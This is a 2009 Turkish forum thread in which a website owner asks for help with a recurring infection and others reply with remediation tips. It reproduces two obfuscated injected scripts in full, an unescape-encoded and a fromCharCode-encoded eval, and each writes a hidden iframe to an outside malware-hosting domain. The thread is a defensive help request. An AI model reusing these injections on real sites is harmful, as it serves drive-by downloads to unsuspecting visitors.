• 24-04-2009, 11:07:05
    #1
    Kimlik doğrulama veya yönetimden onay bekliyor.
    Tum klasorlerimin icinde bulunan html,htm,php dosyalarima

    <script>eval(unescape("%77%69%6e%64%6f%77%2e%73%74 %61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f%63%75%6 d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61% 6d%65%20%6e%61%6d%65%3d%61%64%64%30%61%64%62%61%32 %33%20%73%72%63%3d%5c%27%68%74%74%70%3a%2f%2f%67%7 5%61%68%61%6e%6d%61%6e%74%72%61%74%61%70%61%2e%63% 6f%6d%2f%6c%69%77%65%2f%3f%74%3d%31%3f%27%2b%4d%61 %74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6 e%64%6f%6d%28%29%2a%31%36%39%36%33%32%29%2b%27%62% 62%30%63%34%36%65%5c%27%20%77%69%64%74%68%3d%33%37 %32%20%68%65%69%67%68%74%3d%34%35%36%20%73%74%79%6 c%65%3d%5c%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e% 65%5c%27%3e%3c%2f%69%66%72%61%6d%65%3e%27%29")); </script>


    bu kod ekleniyor



    İnternetten biraz araştırınca bu kodun assagidaki virus oldugunu ogrendim HTML/Dldr.Iframe.DP


    Acaba neler yapabilirim.Bana yardimci olabilirseniz cok mutlu olurum.Cunku bu dosyalari ne kadar degistirirsem degistireyim virus 4-5 saat sonra gene bulasiyor.
  • 24-04-2009, 12:03:08
    #2
    Kimlik doğrulama veya yönetimden onay bekliyor.
    mrb bu virüs bilgisayarınızdan bulasıyor dosyalara. öncelikle sağlam bir virüs programıyla tarafın ftp şifrenizi degiştirin. düzenlediginiz dosyaların chmod değerini 444 yapın. ozaman virüs kendini yazamaz indexlerin içine.
  • 24-04-2009, 16:01:32
    #3
    malesef hala devam ediyor

    index.php dosyama eklenen kodlar assagida


    <?php echo '<script type="text/javascript">eval(String.fromCharCode(118,97,114,32 ,104,106,103,52,61,34,98,105,116,115,34,59,118,97, 114,32,119,61,34,105,110,102,111,34,59,118,97,114, 32,114,101,54,61,34,119,97,114,101,46,34,59,118,97 ,114,32,114,114,116,116,54,61,34,110,101,116,34,59 ,118,97,114,32,97,61,34,105,102,34,59,118,97,114,3 2,115,61,34,116,116,34,59,100,111,99,117,109,101,1 10,116,46,119,114,105,116,101,40,39,60,39,43,97,43 ,39,114,97,109,101,32,115,114,99,61,34,104,39,43,1 15,43,39,112,58,47,47,39,43,104,106,103,52,43,39,3 9,43,119,43,39,39,43,114,101,54,43,39,39,43,114,11 4,116,116,54,43,39,47,39,43,39,34,32,119,105,100,1 16,104,61,34,49,34,32,104,101,105,103,104,116,61,3 4,49,34,62,60,47,105,39,43,39,102,39,43,39,114,97, 109,101,62,39,41,59,118,97,114,32,119,61,48,49,48, 48,48,49,48,49,48,48,49,49))</script>'; ?>
  • 25-04-2009, 07:14:28
    #4
    https://www.r10.net/r10-bilgi-arsivi/...usu-cozum.html


    Biraz arama yapsak dimi

    Umarim sorunu halledersin.